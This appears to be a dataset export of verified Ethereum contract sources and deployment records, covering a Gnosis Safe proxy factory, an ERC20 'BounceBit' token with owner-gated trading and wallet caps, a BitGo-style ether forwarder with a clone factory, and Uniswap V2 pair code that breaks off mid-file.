/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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/**
https://bouncebit.io/
*/
pragma solidity ^0.8.0;
/*
**/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BounceBitIO is ERC20, Ownable {
uint256 constant maxWalletStart = 2e16;
uint256 constant addMaxWalletPerMinute = 1e16;
uint256 public constant totalSupplyOnStart = 1e18;
uint256 tradingStartTime;
address public pool;
constructor() ERC20(" BounceBit ", " BB ") {
_mint(msg.sender, totalSupplyOnStart);
}
function decimals() public pure override returns (uint8) {
return 9;
}
function maxWallet() public view returns (uint256) {
if (tradingStartTime == 0) return totalSupply();
uint256 res = maxWalletStart +
((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
(1 minutes);
if (res > totalSupply()) return totalSupply();
return res;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
// before start trading only owner can manipulate the token
if (pool == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
// check max wallet
if (to != pool)
require(balanceOf(to) + amount <= maxWallet(), "wallet maximum");
}
function startTrade(address poolAddress) public onlyOwner {
tradingStartTime = block.timestamp;
pool = poolAddress;
}
}
|
1 | 19,503,030 |
98f9b722eee4222a1be700aa3ca89b2ca050396762823b62029721342d04f22f
|
c0b6d5fe330078b74d6b28778752544417ff9cd3a925f64e271963868842bd0c
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
1011d97480caa06106f93d16e39f7473feeecffc
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,503,033 |
b22785cb0e304916bdce03b3e42b7f87af7e538a73f51e15b5f8bb3348bddac6
|
a431f283719629590179857ed57df1ce66112638d7a1ae6932b740507911876b
|
0a9fd955694d341c5d7ef3c1c3fb0d56be9025e0
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
90a2b482664598866a27b7040337771b69c78b52
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
